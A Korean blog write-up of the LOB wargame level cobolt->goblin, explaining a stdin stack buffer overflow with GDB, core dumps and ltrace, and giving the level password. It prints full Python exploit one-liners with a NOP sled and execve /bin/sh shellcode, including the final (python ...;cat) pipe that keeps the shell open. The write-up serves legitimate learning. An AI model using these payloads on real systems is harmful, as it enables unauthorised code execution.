cobolt->goblin 소스 코드이다.

stdin으로 BOF exploit을 시도하는 문제이다.



우선, GDB로 buffer의 오프셋을 확인하였다.

ebp-16이므로 20문자 이후에는 ret 영역이 시작된다.



python -c 'print "A"*20+"\xbf\xbf\xbf\xbf"+"\x90"*10000+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"' | ./goblin

python -c 'print "A"*20+"\xbf\xbf\xbf\xbf"+"\x90"*10000+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"' > input

./goblin < input


이전 문제와 마찬가지로, dummy와 nop 10000개, 쉘코드를 넣어줬다.


stdin을 쉘 상에서 전달하기 위해 pipe를 사용하였다. 그런데 pipe 사용 시, stdin을 전달받는 프로세스(./goblin)에서의 오류 메시지가 출력되지 않는다. python 명령에서 segmentation fault가 발생하였을 때만 오류 메시지가 출력된다.

그렇다고 core 파일이 생성되지 않는 것은 아니다.

그 아래는 input 파일에 리다이렉션redirection을 통해 stdin으로 전달할 페이로드를 저장하고, 다시 한 번 리다이렉션을 통해 ./goblin에 파일로서 stdin을 전달하는 부분이다.

seg fault에 대한 오류 메시지를 확인할 수 있다.

파이프와 리다이렉션 모두 core 파일이 생성되므로 어떤 방법을 사용하든 상관 없다.



그런데, core 파일을 확인해보니 EIP가 0xbfbfbfbf가 아닌 다른 주소로 overwrite되었다. 우리는 저런 주소를 입력한 적이 없다.

공부 목적으로 wargame을 풀고 있다면, 이유를 한 번 생각해보자!



ltrace 명령어는 library? 단위로 프로그램 흐름을 tracing하는(따라가는) 명령어다.

우리는 ret 영역을 덮어씌웠으므로, 프로그램이 모두 수행된 후 쉘코드가 실행되어야 한다. 지금은 프로그램 모두 수행 후 0xbfbfbfbf로 EIP가 변조되어야 할 것이다.

쉽게 말하면, 지금 코드에 있는 printf 함수가 실행되기 전에(gets 함수에서) 프로그램이 seg fault를 뿜어냈다는 것이다.

그 이유가 무엇일 지도 한 번 생각해보자!

중요한 건 이전 문제에서도 같은 페이로드를 입력했는데 이번 문제에서만 문제가 발생한다는 것이다.

바뀐 것은 stdin 뿐이다.

우리가 gdb에서 확인했던 EIP는 바로 gets 함수 수행 중의 EIP였던 것이다.











좌측 그림은 다음은 그에 대한 이유이다.

우리가 매개인자로 페이로드를 전달하였을 때는, 스택 프레임이 매개인자만큼 알아서 사이즈가 커졌다.

그러나, stdin으로 전달할 때는, stdin으로 얼만큼이 입력되든 스택 프레임의 크기는 변함이 없으므로, 거기에서 문제가 발생하게 된다.

우리가 스택 프레임보다 훨씬 큰 입력을 하였을 때, 해당 입력은 스택 프레임을 넘어, Kernel 영역까지 침범하게 되는 것이다.

Kernel 영역은 유저 권한으로 접근이 불가하므로, 그 부분에서 Seg fault가 발생하면서 gets 함수에서 프로그램이 비정상 종료되었던 것이다.

이에 대한 해결방법은 두 가지이다. 이전 문제들처럼 스택 프레임을 크게 만들거나, 커널 영역을 덮어씌우지 않을만큼 페이로드의 길이를 줄이는 것이다.

우측 그림은 전자의 해결 방안를 설명하는 그림이다.

스택 프레임을, 이전 문제처럼 증가시킨다. 더 구체적으로 말하면 stdin을 전달함과 동시에 매개인자를 전달하여 스택 프레임을 키우는 것이다. 여기에 들어가는 내용은 아무거나 들어가도 상관이 없다.



그림에서 방법1과 2로 소개하였다.

정상적으로 페이로드가 출력되는 것을 확인할 수 있다.

gdb,core를 통해 EIP가 잘 덮어씌워지는 것도 확인할 수 있다.

필자는 전자를 추천한다. nop 문자가 많을수록 exploit이 편리하기 때문에.



esp의 메모리를 확인하였더니, 모두 nop이다. esp가 ret 영역 바로 아래에 있기 때문이다.

이제 저 주소 중 아무 곳으로 RET 영역을 덮어씌우면 될 것이다.



그런데, segmentation fault도 뜨지않고, 쉘도 실행되지 않았다.

무슨 영문인지. 이것 또한 stdin이기 때문에 발생하는 문제이다.



이는 ltrace로 확인해보면 그 이유를 알 수 있다.

RET 영역을 nop 영역의 주소로 덮어씌워준 input 파일과 함께 프로그램을 실행하였다.

위 빨간 박스로 표시한, __libc_start_main이 실행되는 부분이 있는데, 저 부분이 바로 shellcode가 실행된 부분이다.

즉, 쉘은 정상적으로 실행되었다. 이게 무슨 말일까? 우리는 쉘이 실행된 것을 확인할 수 없었는데.



위는 ltrace의 처음 부분이었고, 이 사진은 ltrace의 마지막 부분이다. read 함수를 수행하는 부분이 있는데, 이 부분이 바로 쉘 상에서 우리가 명령어를 입력하는 부분이다. 원래는 read 함수에서 프로그램이 입력을 기다려야 하는 것이 정상적인 쉘의 흐름이다.

그런데, read 함수가 종료되고 바로 쉘이 종료되어 버렸다.

즉, 쉘이 실행되기는 했으나 실행되자마자 종료되어 버리는 것이다.

그 이유는, python 명령이 페이로드를 전달한 후, 쉘이 실행되고 쉘은 stdin으로부터 EOF(End of File)를 전달받는다.

우리가 Ctrl+D의 인터럽트 키를 입력하는 것과 같은 효과이다. 

이것은 '입력이 끝났다'라는 의미로 해석되어 쉘을 종료되게 만든다.

간단히 말하면 우리가 python으로 stdin을 전달하는 과정에서 shell에 EOF를 전달하는 문제가 발생한 것이다.

이를 어떻게 해결해야할까? 그것은 바로 표준 입력을 표준 출력으로 바로 전달하는 cat와 같은 프로그램에 있다.



(python -c 'print "A"*20+"\xe0\xd3\xff\xbf"+"\x90"*10000+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"';cat) | ./goblin `python -c 'print "A"*10000'`


파이썬과 함께 cat 명령어를 입력하여 쉘이 종료되지 않은 것을 확인할 수 있다.

cat가 페이로드 종료 후에도 EOF가 전달되지 않고 계속 입력을 할 수 있도록 해주었기 때문이다.

이 부분의 설명은 약간 모호할 수 있다. 쉽게쉽게 이해해보자.

그리고 괄호를 묶어주지 않으면 쉘이 아까와 같이 종료되어 버린 후 cat가 독자적으로 실행되게 된다.

그러니까 괄호도 묶어주어야 한다.



이제 goblin 파일을 심볼릭 링크 파일로 바꿔준 다음, 원본 파일에 exploit이 성공한 것을 확인할 수 있다!

goblin의 패스워드는 hackers proof이다.


'Wargame Writeup > LOB(Redhat)' 카테고리의 다른 글

LOB orc -> wolfman  (0) 2015.11.13
LOB goblin -> orc  (0) 2015.11.13
LOB gremlin -> cobolt  (0) 2015.11.08
LOB gate -> gremlin  (0) 2015.11.05
LOB 다운로드&초기 설정(bash 문제)  (1) 2015.11.01

WRITTEN BY
hojongs
블로그 옮겼습니다 https://hojongs.github.io/